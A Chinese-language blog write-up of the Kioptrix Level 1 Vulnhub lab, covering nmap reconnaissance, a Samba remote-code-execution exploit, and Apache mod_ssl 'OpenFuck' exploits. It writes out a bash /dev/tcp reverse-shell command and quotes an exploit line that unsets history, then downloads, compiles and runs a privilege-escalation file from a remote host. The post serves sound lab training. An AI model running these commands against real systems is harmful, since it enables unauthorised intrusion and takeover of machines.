KIOPTRIX: LEVEL 1 攻略紀錄


Posted by nathan2009729 on 2022-10-02

為避免發現不到主機,把靶機下載後先改一下設定:

(1):打开靶机所在文件夹,找到vmx后缀的文件并打开

(2):将Bridged全部改成nat(默认是桥接模式,因为kali是nat才能扫描IP)

接下來用vmware掛載vmdk,出現以下畫面即可開始

由於不知道主機在哪,所以先把192.168開頭的ip全部先掃一遍,使用nmap -sP,透過Ping方式來掃描該網段其他主機。

隨便猜,大概是192.168.44.128很可疑,所以對它進行更深入的掃描。用的是nmap -A -p 0-65535 192.168.44.128,把0到65535的埠全部掃一遍並列出服務。

可以藉由上圖的螢光筆,看到總共開啟了22,80,111,139.443,1024等網路埠
80port的服務有Apache/1.3.20 (Unix),(Red-Hat/Linux),mod_ssl/2.8.4 OpenSSL/0.9.6b

(一) 打Samba(因為看到139 port有samba)

(1) 先知道Samba版本

先下載smbver這個shell檔,在github上的位置如下:

OSCPRepo / scripts / recon_enum / smbver.sh

使用方式如下:

bash smbver.sh <靶機IP> <網路埠>

命令行其實什麼都不會顯示,是要用wireshark來抓封包,所以在使用smbver.sh之前,需要把wireshark打開並開始抓封包,等上述shell檔執行完後,就可以停止抓封包,並找到smb相關封包如下:

可以發現藍色處就有Samba版本2.2.1a

(2)找到相對應戰具

下指令 searchsploit samba

可以看到上圖反白處這個戰具應該不錯。另外,searchsploit所列出的路徑,其實只是部分路徑。比如說如果searchsploit列出路徑unix/remote/764.c,那麼真正的路徑是在/usr/share/exploitdb/exploits/unix/remote/764.c裡面。當然,這是因為kali linux內建這個漏洞腳本庫,其他版本的linux就要自行去下載這個漏洞腳本庫。

編譯執行

sudo gcc 10.c -o samba_code_exec

# gcc 10.c -o samba_code_exec
# ./samba_code_exec
Usage: ./samba_code_exec [-bBcCdfprsStv] [host]

-b <platform>   bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)
-B <step>       bruteforce steps (default = 300)
-c <ip address> connectback ip address
-C <max childs> max childs for scan/bruteforce mode (default = 40)
-d <delay>      bruteforce/scanmode delay in micro seconds (default = 100000)
-f              force
-p <port>       port to attack (default = 139)
-r <ret>        return address
-s              scan mode (random)
-S <network>    scan mode
-t <type>       presets (0 for a list)
-v              verbose mode

如果直接執行會出現上圖,可以告訴使用者用法。

根據上圖資訊用以下參數執行程式:

./samba_code_exec -b 0 192.168.44.128

可以成功RCE

再來就是要找flag,但是要先reverse shell

reverse shell步驟:

在kali端輸入nc -lvvp 1234代表聆聽網路埠1234,接下來在已經取得root權限的靶機輸入bash -i >& /dev/tcp/[攻擊機ip]/[剛剛聆聽的網路埠] 0>&1

接下來剛剛輸入nc -lvvp 1234的攻擊機就可以操控靶機,畫面如下:

看到root@kioptrix tmp代表已可以操控kioptrix這台靶機。

接下來就是最後一個步驟catch the flag。我們用列出該靶機的history來檢查:

可以發現有它曾經有動過mail,於是下指令:

cat /var/spool/mail/root

可以發現bingo

(二) 打apache

(注意這裡的腳本只能兩台網段一樣才能使用?所以WSL的kali不能用這腳本去打虛擬機的靶機)試試看打apache 1.3.20,先找漏洞,輸入指令searchsploit apache 1.3.20,會輸出結果如圖

螢光筆畫出的三個應該是符合目前環境的可用漏洞。

Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow                  | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)            | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)            | unix/remote/47080.c

首先說說第三個poc,47080.c。原始碼裡面有一行

#define COMMAND2 "unset HISTFILE; cd /tmp; wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmod.c; ./exploit; \n"

這是在取得apache權限後,會繼續從COMMAND2執行

cd /tmp; 
wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c 
gcc -o exploit ptrace-kmod.c -B /usr/bin; 
rm ptrace-kmod.c 
./exploit 
\n

但是這個bash有兩個問題。第一個問題,是wget那個網址根本不能用,第二個問題,是編譯執行出來的exploit會遇到權限不夠的問題。

第一個問題其實可以想辦法解決。首先,ptrace-kmod.c其實可以在以下網址下載。

exploits/ptrace-kmod.c at master · piyush-saurabh/exploits · GitHub

接下來步驟如下:

  1. 創建一個資料夾,就假設叫ptrace: mkdir ptrace

  2. ptrace-kmod.c下載到ptrace資料夾

  3. cd ptrace

  4. python -m http.server

在瀏覽器網址列輸入http://localhost:8000/就可以看到

所以可以把https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c改成http://[本機IP]:8000/ptrace-kmod.c

不過第二個問題依然沒解決就是了...


#attack #Vulnhub







Related Posts

[ 紀錄 ] 實戰練習 - Todo List ( 以 JS 實作前端 + PHP 後端 )

[ 紀錄 ] 實戰練習 - Todo List ( 以 JS 實作前端 + PHP 後端 )

JavaScript 變數型態判斷及賦值

JavaScript 變數型態判斷及賦值

每日心得筆記 2020-06-28(日)

每日心得筆記 2020-06-28(日)


Comments